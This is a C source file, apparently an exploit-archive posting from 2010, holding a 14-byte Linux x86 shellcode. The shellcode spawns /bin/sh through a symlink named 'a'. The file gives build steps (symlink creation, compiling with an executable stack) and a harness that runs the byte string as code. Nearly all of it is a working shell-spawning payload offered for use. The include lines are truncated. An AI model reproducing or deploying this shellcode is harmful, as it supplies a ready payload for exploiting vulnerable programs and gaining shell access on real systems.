#include #include /* by Magnefikko 17.04.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.oz.pl Subgroup: #PRekambr Name: 14 bytes execve("a->/bin/sh") local-only shellcode Platform: Linux x86 execve("a", 0, 0); $ ln -s /bin/sh a $ gcc -Wl,-z,execstack filename.c $ ./a.out Link is required. shellcode: \x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80 */ int main(){ char shell[] = "\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"; printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell) = %d\n", strlen(shell)); (*(void (*)()) shell)(); }